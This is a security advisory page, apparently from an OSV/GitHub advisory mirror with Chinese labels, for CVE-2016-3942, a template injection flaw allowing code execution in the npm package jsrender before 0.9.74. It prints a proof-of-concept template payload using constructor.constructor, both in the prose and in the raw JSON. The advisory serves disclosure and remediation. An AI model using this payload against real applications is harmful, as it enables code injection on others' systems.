GHSA-R87W-47M8-22W3中危已审查

Template Injection in jsrender

OSV 1.4.0 · github-reviewed · 修改于 2023-09-08 04:41

发布时间

2020-09-01 23:24

GitHub 审查时间

2020-09-01 02:10

NVD 发布时间

—

源文件

advisories/github-reviewed/2020/09/GHSA-r87w-47m8-22w3/GHSA-r87w-47m8-22w3.json

公告说明

Affected versions of jsrender are susceptible to a remote code execution vulnerability when used with server delivered client-side tempates which dynamically embed user input.

Proof of Concept

//POC-REQUEST
{{for ~x!=1?(constructor.constructor("return arguments.callee.caller")()):~y(10)}}
{{:#data}}
{{/for}}

//POC-RESPONSE
function anonymous(data,view,j,u) { // template var v,t=j._tag,ret="" +t("for",view,this,[ {view:view,tmpl:1, params:{args:['~x!=1?(constructor.constructor(\"return arguments.callee.caller\")()):~y(10)']}, args:[view.hlp("x")!=1?(data.constructor.constructor("return arguments.callee.caller")()):view.hlp("y")(10)], props:{}}]); return ret; }

Recommendation

Update to version 0.9.74 or later.

受影响的软件包

npm

jsrender

ECOSYSTEM

标识信息

别名 / CVE

CVE-2016-3942

CWE

CWE-94

软件生态

npm

扩展资料

暂无扩展资料。

CVSS 评分

CVSS_V3

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

原始 OSV JSON

{
  "id": "GHSA-r87w-47m8-22w3",
  "aliases": [
    "CVE-2016-3942"
  ],
  "details": "Affected versions of `jsrender` are susceptible to a remote code execution vulnerability when used with server delivered client-side tempates which dynamically embed user input.\n\n## Proof of Concept\n\n\n```js\n//POC-REQUEST\n{{for ~x!=1?(constructor.constructor(\"return arguments.callee.caller\")()):~y(10)}}\n{{:#data}}\n{{/for}}\n```\n\n```js\n//POC-RESPONSE\nfunction anonymous(data,view,j,u) { // template var v,t=j._tag,ret=\"\" +t(\"for\",view,this,[ {view:view,tmpl:1, params:{args:['~x!=1?(constructor.constructor(\\\"return arguments.callee.caller\\\")()):~y(10)']}, args:[view.hlp(\"x\")!=1?(data.constructor.constructor(\"return arguments.callee.caller\")()):view.hlp(\"y\")(10)], props:{}}]); return ret; } \n```\n\n\n## Recommendation\n\nUpdate to version 0.9.74 or later.",
  "summary": "Template Injection in jsrender",
  "affected": [
    {
      "ranges": [
        {
          "type": "ECOSYSTEM",
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.74"
            }
          ]
        }
      ],
      "package": {
        "name": "jsrender",
        "ecosystem": "npm"
      },
      "database_specific": {
        "last_known_affected_version_range": "<= 0.9.73"
      }
    }
  ],
  "modified": "2023-09-07T20:41:26Z",
  "severity": [
    {
      "type": "CVSS_V3",
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L"
    }
  ],
  "published": "2020-09-01T15:24:24Z",
  "references": [
    {
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-3942",
      "type": "ADVISORY"
    },
    {
      "url": "https://github.com/BorisMoore/jsrender/commit/f984e139deb0a7648d5b543860ec652c21f6dcf6",
      "type": "WEB"
    },
    {
      "url": "https://github.com/BorisMoore/jsrender",
      "type": "PACKAGE"
    },
    {
      "url": "https://snyk.io/vuln/SNYK-DOTNET-JSRENDER-60173",
      "type": "WEB"
    },
    {
      "url": "https://www.npmjs.com/advisories/97",
      "type": "WEB"
    }
  ],
  "schema_version": "1.4.0",
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "severity": "MODERATE",
    "github_reviewed": true,
    "nvd_published_at": null,
    "github_reviewed_at": "2020-08-31T18:10:44Z"
  }
}